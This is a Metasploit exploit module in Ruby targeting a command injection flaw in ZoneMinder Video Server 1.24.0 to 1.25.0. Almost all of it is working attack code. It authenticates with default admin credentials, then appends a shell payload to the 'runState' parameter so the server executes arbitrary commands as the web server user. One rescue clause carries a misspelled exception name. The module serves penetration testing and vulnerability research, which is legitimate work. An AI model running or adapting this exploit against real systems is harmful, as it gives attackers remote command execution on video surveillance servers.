ZoneMinder Video Server - packageControl Command Execution (Metasploit)

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info={})
		super(update_info(info,
			'Name'           => 'ZoneMinder Video Server packageControl Command Execution',
			'Description'    => %q{
				This module exploits a command execution vulnerability in ZoneMinder Video
				Server version 1.24.0 to 1.25.0 which could be abused to allow
				authenticated users to execute arbitrary commands under the context of the
				web server user. The 'packageControl' function in the
				'includes/actions.php' file calls 'exec()' with user controlled data
				from the 'runState' parameter.
			},
			'References'     =>
				[
					['URL', 'http://itsecuritysolutions.org/2013-01-22-ZoneMinder-Video-Server-arbitrary-command-execution-vulnerability/'],
				],
			'Author'         =>
				[
					'Brendan Coles <bcoles[at]gmail.com>', # Discovery and exploit
				],
			'License'        => MSF_LICENSE,
			'Privileged'     => true,
			'Arch'           => ARCH_CMD,
			'Platform'       => 'unix',
			'Payload'        =>
				{
					'BadChars'    => "\x00",
					'Compat'      =>
						{
							'PayloadType' => 'cmd',
							'RequiredCmd' => 'generic telnet python perl bash',
						},
				},
			'Targets'        =>
				[
					['Automatic Targeting', { 'auto' => true }]
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => "Jan 22 2013",
		))

		register_options([
			OptString.new('USERNAME',  [true, 'The ZoneMinder username', 'admin']),
			OptString.new('PASSWORD',  [true, 'The ZoneMinder password', 'admin']),
			OptString.new('TARGETURI', [true, 'The path to the web application', '/zm/'])
		], self.class)
	end

	def check

		peer    = "#{rhost}:#{rport}"
		base    = target_uri.path
		base    << '/' if base[-1, 1] != '/'
		user    = datastore['USERNAME']
		pass    = datastore['PASSWORD']
		cookie  = "ZMSESSID=" + rand_text_alphanumeric(rand(10)+6)
		data    = "action=login&view=version&username=#{user}&password=#{pass}"

		# login and retrieve software version
		print_status("#{peer} - Authenticating as user '#{user}'")
		begin
			res = send_request_cgi({
				'method' => 'POST',
				'uri'    => "#{base}index.php",
				'cookie' => "#{cookie}",
				'data'   => "#{data}",
			})
			if res and res.code == 200
				if res.body =~ /<title>ZM - Login<\/title>/
					print_error("#{peer} - Authentication failed")
					return Exploit::CheckCode::Unknown
				elsif res.body =~ /v1.2(4\.\d+|5\.0)/
					return Exploit::CheckCode::Appears
				elsif res.body =~ /<title>ZM/
					return Exploit::CheckCode::Detected
				end
			end
			return Exploit::CheckCode::Safe
		rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeoutp
			print_error("#{peer} - Connection failed")
		end
		return Exploit::CheckCode::Unknown

	end

	def exploit

		@peer    = "#{rhost}:#{rport}"
		base     = target_uri.path
		base    << '/' if base[-1, 1] != '/'
		cookie   = "ZMSESSID=" + rand_text_alphanumeric(rand(10)+6)
		user     = datastore['USERNAME']
		pass     = datastore['PASSWORD']
		data     = "action=login&view=postlogin&username=#{user}&password=#{pass}"
		command  = Rex::Text.uri_encode(payload.encoded)

		# login
		print_status("#{@peer} - Authenticating as user '#{user}'")
		begin
			res = send_request_cgi({
				'method' => 'POST',
				'uri'    => "#{base}index.php",
				'cookie' => "#{cookie}",
				'data'   => "#{data}",
			})
			if !res or res.code != 200 or res.body =~ /<title>ZM - Login<\/title>/
				fail_with(Exploit::Failure::NoAccess, "#{@peer} - Authentication failed")
			end
		rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
			fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed")
		end
		print_good("#{@peer} - Authenticated successfully")

		# send payload
		print_status("#{@peer} - Sending payload (#{command.length} bytes)")
		begin
			res = send_request_cgi({
				'method'    => 'POST',
				'uri'       => "#{base}index.php",
				'data'      => "view=none&action=state&runState=start;#{command}%26",
				'cookie'    => "#{cookie}"
			})
			if res and res.code == 200
				print_good("#{@peer} - Payload sent successfully")
			else
				fail_with(Exploit::Failure::UnexpectedReply, "#{@peer} - Sending payload failed")
			end
		rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
			fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed")
		end

	end

end